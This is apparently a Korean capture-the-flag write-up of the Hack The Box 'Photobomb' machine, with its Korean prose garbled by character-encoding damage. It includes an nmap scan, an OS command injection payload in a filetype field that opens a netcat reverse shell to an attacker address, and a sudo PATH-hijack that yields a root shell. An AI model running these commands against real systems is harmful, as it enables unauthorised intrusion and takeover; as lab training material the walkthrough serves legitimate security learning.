[Hack The Box] Photobomb ํ์ด
๐ก Hack-The-Box Photobomb ํ์ด ์ ๋๋ค.
๋ฌธ์
Enumeration
โโโ(rootใฟkali)-[/home/kali/Desktop]
โโ nmap -sV -p - -vv --min-rate 3000 10.129.228.60
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-19 03:09 EST
Discovered open port 22/tcp on 10.129.228.60
Discovered open port 80/tcp on 10.129.228.60
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 42.79 seconds
Raw packets sent: 86968 (3.827MB) | Rcvd: 80330 (3.213MB)
HTTP
์์ค์ฝ๋๋ฅผ ํ์ธํด๋ด ๋๋ค.
photobomb.js
์คํฌ๋ฆฝํธ ํ์ผ์ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด id,pw๋ฅผ ์ ์ ์์ต๋๋ค.
ํด๋น ์ฌ์ดํธ๋ ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ ํ๋ ๊ธฐ๋ฅ์ด ์กด์ฌํฉ๋๋ค.
์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ ํ๊ธฐ ์ํด ์๋ฒ๋ก ๋ณด๋ด์ง๋ ๋งค๊ฐ๋ณ์๋ค์ ์กฐ์ํ๊ธฐ ์ํด์ burpsuite๋ก ํจํท์ ์ก์ต๋๋ค.
ํ์ผ์ ์ด๋ฆ(photo), ํ์ฅ์(jpg), ํด์๋(dimensions)๋ฅผ ์ฌ์ฉ์์ ์ ๋ ฅ๊ฐ์ ํตํด์ ์ฒ๋ฆฌํฉ๋๋ค.
ํ์ผ ๋ค์ด๋ก๋ ์ทจ์ฝ์ ์ด๋, ํ์ฅ์๋ฅผ ๋ณํํด์ฃผ๋ ๊ธฐ๋ฅ์ด ์๊ธฐ ๋๋ฌธ์ OS Command Injection ์ทจ์ฝ์ ์ด ์กด์ฌํ๋์ง ํ์ธํด ๋ด ๋๋ค.
filetype๋ถ๋ถ์์ OS Command Injection
์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค.
filetype๊ฐ์ ๋ค์๊ณผ ๊ฐ์ด ์ ๋ ฅํ์ฌ reverse shell์ ํ๋ํฉ๋๋ค.
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 1234 >/tmp/f
filetype=jpg;rm+%2ftmp%2ff%3bmkfifo+%2ftmp%2ff%3bcat+%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+10.10.14.7+1234+%3e%2ftmp%2ff
Privilege Escalation
(root) : root ๊ถํ์ผ๋ก ์คํ ๊ฐ๋ฅ
SETENV : sudo ๋ช
๋ น์ด๋ฅผ ์คํํ๋ฉด์ ํ๊ฒฝ๋ณ์๋ฅผ ์์ ๊ฐ๋ฅ
NOPASSWD : sudo ๋ช
๋ น์ด๋ฅผ ์คํํ ๋, ํด๋น ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ํ์ x
/opt/cleanup.sh : ํด๋น ํ์ผ์ sudo ๋ช
๋ น์ด๋ก ์ํ๊ฐ๋ฅ
/opt/cleanup.sh ํ์ผ์ ํ์ธํด ๋ด ๋๋ค.
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
root ๊ถํ์ผ๋ก ์์ ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ํํฉ๋๋ค. ํ๊ฒฝ๋ณ์๋ฅผ ๋ฐ๊ฟ ์ ์๊ธฐ ๋๋ฌธ์ PATH
ํ๊ฒฝ๋ณ์๋ฅผ ์กฐ์ํ์ฌ, find ๋ช
๋ น์ด๋ฅผ bash๋ก ๋ฐ๊พธ์ด ์ฃผ๋ฉด root ๊ถํ ํ๋์ด ๊ฐ๋ฅํฉ๋๋ค.
cd /tmp
echo "bash" > find
chmod 777 find
sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh
๋๊ธ๋จ๊ธฐ๊ธฐ